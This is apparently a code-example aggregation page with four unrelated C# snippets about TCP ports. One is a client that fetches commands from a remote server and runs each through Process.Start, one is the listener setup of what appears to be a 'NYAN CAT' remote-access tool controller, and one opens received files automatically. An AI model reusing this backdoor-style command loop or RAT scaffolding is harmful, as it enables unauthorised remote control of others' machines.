static void Main(string[] args)
        {
            SimpleHTTPServer HTTPServ = new SimpleHTTPServer(".", 3801);

            /* File name for received picture */
            const String FILE_NAME = "Received.jpg";

            /* Port for incoming connections */
            const int PORT = 3800;

            /* The IPEndPoint for the server. IP cannot be localhost */
            System.Net.IPEndPoint remoteIpEndPoint = new System.Net.IPEndPoint(System.Net.IPAddress.Any, PORT);
            Console.WriteLine("Listening for connections on port " + PORT.ToString());

            /* After this amount of time has passed, any connection will be terminated
             * Keep high for high latency networks and vice versa */
            const int TIMEOUT = 1000;

            /* Start listening for connections */
            System.Net.Sockets.TcpListener tcpListener = new System.Net.Sockets.TcpListener(remoteIpEndPoint);
            tcpListener.Start();

            /* Create the listening thread */
            Console.WriteLine("Creating the Child Thread");
            System.Threading.Thread connectThread = new System.Threading.Thread(() => StartConnect(tcpListener, TIMEOUT, FILE_NAME));
            connectThread.Start();

            /* Terminate on keypress */
            Console.ReadKey();
            connectThread.Abort();

            /* Clean up and open the received file */
            tcpListener.Stop();
            System.Diagnostics.Process.Start(FILE_NAME);
        }
Beispiel #2
0
        static void Main(string[] args)
        {
            var serverIp = args[0];

            var port = Int32.Parse(args[1]);

#if !(ClientAO)
            // Server Activated Objects
            var remoteObject = (RemotableObjects.RemoteClass)Activator.GetObject(
                typeof(RemotableObjects.RemoteClass),
                string.Format("tcp://{0}:{1}/{2}", serverIp, PORT.ToString(), APP_NAME));
#else
            // Client Activated Objects
            RemotingConfiguration.RegisterActivatedClientType(
                typeof(RemotableObjects.RemoteClass),
                string.Format("tcp://{0}:{1}/{2}", serverIp, port.ToString(), APP_NAME));
            var remoteObject = new RemotableObjects.RemoteClass();
#endif

            var info = GetInitData();
            if (remoteObject.Init(info) == null)
            {
                return;
            }


            while (true)
            {
                string command = remoteObject.GetCommand();
                if (command == null)
                {
                    break;
                }

                if (command.Length > 0)
                {
                    int iSpace = command.IndexOf(' ');

                    string fileName  = string.Empty;
                    string arguments = string.Empty;

                    if (iSpace == -1)
                    {
                        fileName = command;
                    }
                    else
                    {
                        fileName  = command.Substring(0, iSpace);
                        arguments = command.Substring(iSpace + 1);
                    }

                    Process.Start(fileName, arguments);
                }

                Thread.Sleep(1000);
            }

            remoteObject.Terminate();
        }
Beispiel #3
0
 public override string ToString(int namePadding)
 {
     // _sip._tcp.example.com. 86400 IN SRV 0 5 5060 sipserver.example.com.
     return(String.Join(" ", new string[] {
         Base.ToString(namePadding),
         PRIORITY.ToString(),
         WEIGHT.ToString(),
         PORT.ToString(),
         TARGET.ToString()
     }));
 }
Beispiel #4
0
        private void Form1_Load(object sender, EventArgs e)
        {
            Text = $"{Settings.Version} // NYAN CAT";

            PortsFrm portsFrm = new PortsFrm();

            portsFrm.ShowDialog();

            Methods.FadeIn(this, 5);
            Settings.Port     = portsFrm.textPorts.Text;
            Settings.Password = portsFrm.textPassword.Text;
            Settings.aes256   = new Aes256(Settings.Password);

            string[] P = Settings.Port.Split(',');
            foreach (var PORT in P)
            {
                if (!string.IsNullOrWhiteSpace(PORT))
                {
                    listener = new Listener();
                    Thread thread = new Thread(new ParameterizedThreadStart(listener.Connect));
                    thread.Start(Convert.ToInt32(PORT.ToString().Trim()));
                }
            }
        }